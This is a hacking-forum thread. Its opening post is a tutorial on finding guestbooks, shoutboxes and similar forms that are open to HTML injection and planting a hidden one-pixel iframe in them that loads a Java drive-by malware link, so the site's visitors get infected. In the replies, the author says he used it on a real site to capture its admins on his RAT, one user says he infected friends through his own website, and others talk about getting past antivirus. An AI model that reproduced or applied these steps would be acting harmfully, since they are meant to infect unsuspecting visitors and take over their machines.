[What's Out There]

This tutorial (written by me, not sure if similar has been posted before), will show you how to hide your nasty java drive-by's in (vulnerable) eg. guestbooks, shoutboxes, testimonials, and anything else that has a submission form. The idea of it all is to find some submission form that is vulnerable to HTML injection, then embed an iFrame script to it. Some web owners have blocked use of HTML, some hasn't.

Requirements;
- 😈 <-- Evil face
- Your java drive-by uploaded to a host
- Skills in finding vulnerable sites (doh)

Head off to google, and search for some.. community, or just "guestbook.php", or something similar. I don't have any specific dorks, but you'll sure find something, believe me, it's not uncommon.

Once you're at the site, find your.. let's say guestbook, and in the message box type something like

Code

<b> I R BOLDZ </b>

. If it goes bold when you submit it, you can be 95% sure it's vulnerable. Now go for iFrame. Write the following:

Code

<iframe src ="JAVA-DRIVEBY LINK HERE" width="1" height="1" frameborder="0">
</iframe>

And submit. Now refresh the page (might not be needed), and if your java box pops up, you're a lucky shit. Now just hope that site is a high populated site, and you'll be getting as many victims as sperms in your freaking ballsack. I'm serious. 🤗

Good luck, and atleast leave a little "thank you" if you have had any success with this.

[iLoveDogs]

Nice one , thanks ! :D

[d0rhk]

Thank you! This is awesome.

Great tut.

[Dark Molecule]

lol nice tut good 2 know :]

[What's Out There]

Thanks guys, haha. I actually did this to a swedish "animal hating clan", in their guestbook. I just wait to see these admins poppin up on my RAT so I can deface that site nicely. They don't have an special exploits since it's like HTML all over.

[Affliction]

Dont some anti virus scan iframes though?

[What's Out There]

Dont some anti virus scan iframes though?

Not sure, but some anti-viruses warn for java drive-by's. But if you find some information about iframes getting detected, please tell me, because I am planning to do some imba spreading 😏

[Yaco]

I have to try this, thanks for this idea.

[Affliction]

http://community.norton.com/t5/Norton-In.../m-p/26562

theres on thing on it not major but it could get to be..

[banii]

maybe u can encrypt :D and nice tut man thx

[khonakr007]

Grt...
i put this on ma website...
frnds come.. click and infected...!
wolla..cool..
but many of my frnds dnt have basic java runtime installed so thats a problem..
cant we have a flash drive by or something like that..?

[00niels00]

you'll be getting as many victims as sperms in your freaking ballsack. I'm serious. Yeye

You get a +3 for making me laugh.

That's kinda mean to girls. Beucase they don't have a ballsack.

[icebabe117]

This was & is a certainly good tutorial. thanks!

[What's Out There]

That's kinda mean to girls. Beucase they don't have a ballsack.

Alright, sorry girls, you'll be getting as many victims as centilitres of menstruation in your lifetime. 🤫

[Johnisriot]

Haha, thanks man. Sounds like a good deal.